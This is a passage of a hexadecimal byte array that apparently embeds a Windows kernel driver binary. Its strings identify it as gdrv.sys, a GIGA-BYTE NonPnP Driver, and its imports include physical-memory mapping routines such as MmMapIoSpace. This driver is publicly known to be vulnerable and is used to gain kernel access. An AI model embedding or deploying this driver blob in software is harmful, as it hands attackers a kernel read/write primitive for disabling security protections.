0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x89, 0x5C, 0x24, + 0x08, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0xDA, 0x48, 0x8B, 0xF9, + 0xE8, 0x17, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xD3, 0x48, 0x8B, 0xCF, 0x48, + 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xE9, 0xFA, 0x96, + 0xFF, 0xFF, 0xCC, 0xCC, 0x48, 0x8B, 0x05, 0xD5, 0xCF, 0xFF, 0xFF, 0x45, + 0x33, 0xC9, 0x49, 0xB8, 0x32, 0xA2, 0xDF, 0x2D, 0x99, 0x2B, 0x00, 0x00, + 0x48, 0x85, 0xC0, 0x74, 0x05, 0x49, 0x3B, 0xC0, 0x75, 0x38, 0x0F, 0x31, + 0x48, 0xC1, 0xE2, 0x20, 0x48, 0x8D, 0x0D, 0xB1, 0xCF, 0xFF, 0xFF, 0x48, + 0x0B, 0xC2, 0x48, 0x33, 0xC1, 0x48, 0x89, 0x05, 0xA4, 0xCF, 0xFF, 0xFF, + 0x66, 0x44, 0x89, 0x0D, 0xA2, 0xCF, 0xFF, 0xFF, 0x48, 0x8B, 0x05, 0x95, + 0xCF, 0xFF, 0xFF, 0x48, 0x85, 0xC0, 0x75, 0x0A, 0x49, 0x8B, 0xC0, 0x48, + 0x89, 0x05, 0x86, 0xCF, 0xFF, 0xFF, 0x48, 0xF7, 0xD0, 0x48, 0x89, 0x05, + 0x84, 0xCF, 0xFF, 0xFF, 0xC3, 0xCC, 0xCC, 0xCC, 0xE0, 0x80, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x84, 0x00, 0x00, + 0x10, 0x40, 0x00, 0x00, 0xD0, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x44, 0x84, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x2A, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xEC, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x0E, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x82, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x42, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x56, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x72, 0x82, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x86, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x9C, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAC, 0x82, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xBE, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xDC, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF6, 0x82, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x06, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xE0, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x83, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x46, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x58, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x83, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x7C, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x98, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA2, 0x83, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xB2, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xC8, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0x83, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xF8, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x0C, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x83, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xC8, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC2, 0x07, 0x52, 0x74, + 0x6C, 0x49, 0x6E, 0x69, 0x74, 0x55, 0x6E, 0x69, 0x63, 0x6F, 0x64, 0x65, + 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x00, 0x00, 0x57, 0x00, 0x44, 0x62, + 0x67, 0x50, 0x72, 0x69, 0x6E, 0x74, 0x00, 0x00, 0xB1, 0x03, 0x4B, 0x65, + 0x41, 0x63, 0x71, 0x75, 0x69, 0x72, 0x65, 0x49, 0x6E, 0x53, 0x74, 0x61, + 0x63, 0x6B, 0x51, 0x75, 0x65, 0x75, 0x65, 0x64, 0x53, 0x70, 0x69, 0x6E, + 0x4C, 0x6F, 0x63, 0x6B, 0x00, 0x00, 0x5F, 0x04, 0x4B, 0x65, 0x52, 0x65, + 0x6C, 0x65, 0x61, 0x73, 0x65, 0x49, 0x6E, 0x53, 0x74, 0x61, 0x63, 0x6B, + 0x51, 0x75, 0x65, 0x75, 0x65, 0x64, 0x53, 0x70, 0x69, 0x6E, 0x4C, 0x6F, + 0x63, 0x6B, 0x00, 0x00, 0x94, 0x00, 0x45, 0x78, 0x41, 0x6C, 0x6C, 0x6F, + 0x63, 0x61, 0x74, 0x65, 0x50, 0x6F, 0x6F, 0x6C, 0x00, 0x00, 0xBE, 0x00, + 0x45, 0x78, 0x46, 0x72, 0x65, 0x65, 0x50, 0x6F, 0x6F, 0x6C, 0x57, 0x69, + 0x74, 0x68, 0x54, 0x61, 0x67, 0x00, 0xE2, 0x04, 0x4D, 0x6D, 0x42, 0x75, + 0x69, 0x6C, 0x64, 0x4D, 0x64, 0x6C, 0x46, 0x6F, 0x72, 0x4E, 0x6F, 0x6E, + 0x50, 0x61, 0x67, 0x65, 0x64, 0x50, 0x6F, 0x6F, 0x6C, 0x00, 0x0D, 0x05, + 0x4D, 0x6D, 0x4D, 0x61, 0x70, 0x4C, 0x6F, 0x63, 0x6B, 0x65, 0x64, 0x50, + 0x61, 0x67, 0x65, 0x73, 0x00, 0x00, 0x34, 0x05, 0x4D, 0x6D, 0x55, 0x6E, + 0x6D, 0x61, 0x70, 0x4C, 0x6F, 0x63, 0x6B, 0x65, 0x64, 0x50, 0x61, 0x67, + 0x65, 0x73, 0x00, 0x00, 0x0B, 0x05, 0x4D, 0x6D, 0x4D, 0x61, 0x70, 0x49, + 0x6F, 0x53, 0x70, 0x61, 0x63, 0x65, 0x00, 0x00, 0x33, 0x05, 0x4D, 0x6D, + 0x55, 0x6E, 0x6D, 0x61, 0x70, 0x49, 0x6F, 0x53, 0x70, 0x61, 0x63, 0x65, + 0x00, 0x00, 0xD5, 0x04, 0x4D, 0x6D, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x61, + 0x74, 0x65, 0x43, 0x6F, 0x6E, 0x74, 0x69, 0x67, 0x75, 0x6F, 0x75, 0x73, + 0x4D, 0x65, 0x6D, 0x6F, 0x72, 0x79, 0x00, 0x00, 0xEF, 0x04, 0x4D, 0x6D, + 0x46, 0x72, 0x65, 0x65, 0x43, 0x6F, 0x6E, 0x74, 0x69, 0x67, 0x75, 0x6F, + 0x75, 0x73, 0x4D, 0x65, 0x6D, 0x6F, 0x72, 0x79, 0x00, 0x00, 0x65, 0x02, + 0x49, 0x6F, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x61, 0x74, 0x65, 0x4D, 0x64, + 0x6C, 0x00, 0x9B, 0x03, 0x49, 0x6F, 0x66, 0x43, 0x6F, 0x6D, 0x70, 0x6C, + 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x00, 0x00, + 0x8B, 0x02, 0x49, 0x6F, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x65, + 0x76, 0x69, 0x63, 0x65, 0x00, 0x00, 0x96, 0x02, 0x49, 0x6F, 0x43, 0x72, + 0x65, 0x61, 0x74, 0x65, 0x53, 0x79, 0x6D, 0x62, 0x6F, 0x6C, 0x69, 0x63, + 0x4C, 0x69, 0x6E, 0x6B, 0x00, 0x00, 0xA2, 0x02, 0x49, 0x6F, 0x44, 0x65, + 0x6C, 0x65, 0x74, 0x65, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x00, 0x00, + 0xA4, 0x02, 0x49, 0x6F, 0x44, 0x65, 0x6C, 0x65, 0x74, 0x65, 0x53, 0x79, + 0x6D, 0x62, 0x6F, 0x6C, 0x69, 0x63, 0x4C, 0x69, 0x6E, 0x6B, 0x00, 0x00, + 0xB7, 0x02, 0x49, 0x6F, 0x46, 0x72, 0x65, 0x65, 0x4D, 0x64, 0x6C, 0x00, + 0xC8, 0x05, 0x4F, 0x62, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6E, 0x63, + 0x65, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x42, 0x79, 0x48, 0x61, 0x6E, + 0x64, 0x6C, 0x65, 0x00, 0x8E, 0x09, 0x5A, 0x77, 0x43, 0x6C, 0x6F, 0x73, + 0x65, 0x00, 0xE4, 0x09, 0x5A, 0x77, 0x4F, 0x70, 0x65, 0x6E, 0x53, 0x65, + 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x00, 0xCF, 0x09, 0x5A, 0x77, 0x4D, 0x61, + 0x70, 0x56, 0x69, 0x65, 0x77, 0x4F, 0x66, 0x53, 0x65, 0x63, 0x74, 0x69, + 0x6F, 0x6E, 0x00, 0x00, 0x5D, 0x0A, 0x5A, 0x77, 0x55, 0x6E, 0x6D, 0x61, + 0x70, 0x56, 0x69, 0x65, 0x77, 0x4F, 0x66, 0x53, 0x65, 0x63, 0x74, 0x69, + 0x6F, 0x6E, 0x00, 0x00, 0xF7, 0x04, 0x4D, 0x6D, 0x47, 0x65, 0x74, 0x50, + 0x68, 0x79, 0x73, 0x69, 0x63, 0x61, 0x6C, 0x41, 0x64, 0x64, 0x72, 0x65, + 0x73, 0x73, 0x00, 0x00, 0xFE, 0x04, 0x4D, 0x6D, 0x49, 0x73, 0x41, 0x64, + 0x64, 0x72, 0x65, 0x73, 0x73, 0x56, 0x61, 0x6C, 0x69, 0x64, 0x00, 0x00, + 0xC9, 0x03, 0x4B, 0x65, 0x42, 0x75, 0x67, 0x43, 0x68, 0x65, 0x63, 0x6B, + 0x45, 0x78, 0x00, 0x00, 0x6E, 0x74, 0x6F, 0x73, 0x6B, 0x72, 0x6E, 0x6C, + 0x2E, 0x65, 0x78, 0x65, 0x00, 0x00, 0x48, 0x00, 0x48, 0x61, 0x6C, 0x54, + 0x72, 0x61, 0x6E, 0x73, 0x6C, 0x61, 0x74, 0x65, 0x42, 0x75, 0x73, 0x41, + 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x00, 0x00, 0x48, 0x41, 0x4C, 0x2E, + 0x64, 0x6C, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, + 0x10, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, + 0x01, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, + 0x04, 0x04, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x60, 0x90, 0x00, 0x00, + 0xE8, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE8, 0x02, 0x34, 0x00, + 0x00, 0x00, 0x56, 0x00, 0x53, 0x00, 0x5F, 0x00, 0x56, 0x00, 0x45, 0x00, + 0x52, 0x00, 0x53, 0x00, 0x49, 0x00, 0x4F, 0x00, 0x4E, 0x00, 0x5F, 0x00, + 0x49, 0x00, 0x4E, 0x00, 0x46, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xBD, 0x04, 0xEF, 0xFE, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x3F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x04, 0x00, + 0x03, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x46, 0x02, 0x00, 0x00, 0x01, 0x00, 0x53, 0x00, + 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x46, 0x00, + 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x66, 0x00, + 0x6F, 0x00, 0x00, 0x00, 0x22, 0x02, 0x00, 0x00, 0x01, 0x00, 0x30, 0x00, + 0x34, 0x00, 0x30, 0x00, 0x34, 0x00, 0x30, 0x00, 0x34, 0x00, 0x62, 0x00, + 0x30, 0x00, 0x00, 0x00, 0x5E, 0x00, 0x1F, 0x00, 0x01, 0x00, 0x43, 0x00, + 0x6F, 0x00, 0x6D, 0x00, 0x70, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x79, 0x00, + 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x47, 0x00, 0x49, 0x00, 0x47, 0x00, 0x41, 0x00, 0x2D, 0x00, 0x42, 0x00, + 0x59, 0x00, 0x54, 0x00, 0x45, 0x00, 0x20, 0x00, 0x54, 0x00, 0x45, 0x00, + 0x43, 0x00, 0x48, 0x00, 0x4E, 0x00, 0x4F, 0x00, 0x4C, 0x00, 0x4F, 0x00, + 0x47, 0x00, 0x59, 0x00, 0x20, 0x00, 0x43, 0x00, 0x4F, 0x00, 0x2E, 0x00, + 0x2C, 0x00, 0x20, 0x00, 0x4C, 0x00, 0x54, 0x00, 0x44, 0x00, 0x2E, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x58, 0x00, 0x18, 0x00, 0x01, 0x00, 0x46, 0x00, + 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x44, 0x00, 0x65, 0x00, 0x73, 0x00, + 0x63, 0x00, 0x72, 0x00, 0x69, 0x00, 0x70, 0x00, 0x74, 0x00, 0x69, 0x00, + 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0x00, 0x49, 0x00, + 0x47, 0x00, 0x41, 0x00, 0x2D, 0x00, 0x42, 0x00, 0x59, 0x00, 0x54, 0x00, + 0x45, 0x00, 0x20, 0x00, 0x4E, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x50, 0x00, + 0x4E, 0x00, 0x50, 0x00, 0x20, 0x00, 0x44, 0x00, 0x72, 0x00, 0x69, 0x00, + 0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x00, 0x30, 0x00, 0x08, 0x00, + 0x01, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x56, 0x00, + 0x65, 0x00, 0x72, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x31, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, + 0x30, 0x00, 0x2E, 0x00, 0x31, 0x00, 0x00, 0x00, 0x32, 0x00, 0x09, 0x00, + 0x01, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x65, 0x00, 0x72, 0x00, + 0x6E, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, + 0x65, 0x00, 0x00, 0x00, 0x67, 0x00, 0x64, 0x00, 0x72, 0x00, 0x76, 0x00, + 0x2E, 0x00, 0x73, 0x00, 0x79, 0x00, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x4A, 0x00, 0x13, 0x00, 0x01, 0x00, 0x4C, 0x00, 0x65, 0x00, 0x67, 0x00, + 0x61, 0x00, 0x6C, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x70, 0x00, 0x79, 0x00, + 0x72, 0x00, 0x69, 0x00, 0x67, 0x00, 0x68, 0x00, 0x74, 0x00, 0x00, 0x00, + 0x43, 0x00, 0x6F, 0x00, 0x70, 0x00, 0x79, 0x00, 0x72, 0x00, 0x69, 0x00, + 0x67, 0x00, 0x68, 0x00, 0x74, 0x00, 0x20, 0x00, 0x28, 0x00, 0x43, 0x00, + 0x29, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x31, 0x00, 0x37, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x3A, 0x00, 0x09, 0x00, 0x01, 0x00, 0x4F, 0x00, + 0x72, 0x00, 0x69, 0x00, 0x67, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x61, 0x00, + 0x6C, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x6E, 0x00, + 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x67, 0x00, 0x64, 0x00, + 0x72, 0x00, 0x76, 0x00, 0x2E, 0x00, 0x73, 0x00, 0x79, 0x00, 0x73, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x2E, 0x00, 0x07, 0x00, 0x01, 0x00, 0x50, 0x00, + 0x72, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x63, 0x00, 0x74, 0x00, + 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x67, 0x00, 0x64, 0x00, 0x72, 0x00, 0x76, 0x00, 0x36, 0x00, 0x34, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x36, 0x00, 0x09, 0x00, 0x01, 0x00, 0x50, 0x00, + 0x72, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x63, 0x00, 0x74, 0x00, + 0x56, 0x00, 0x65, 0x00, 0x72, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6F, 0x00, + 0x6E, 0x00, 0x00, 0x00, 0x31, 0x00, 0x37, 0x00, 0x31, 0x00, 0x32, 0x00, + 0x30, 0x00, 0x31, 0x00, 0x30, 0x00, 0x31, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x44, 0x00, 0x00, 0x00, 0x01, 0x00, 0x56, 0x00, 0x61, 0x00, 0x72, 0x00, + 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x49, 0x00, 0x6E, 0x00, + 0x66, 0x00, 0x6F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0x00, 0x04, 0x00, + 0x00, 0x00, 0x54, 0x00, 0x72, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x73, 0x00, + 0x6C, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x04, 0x04, 0xB0, 0x04, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 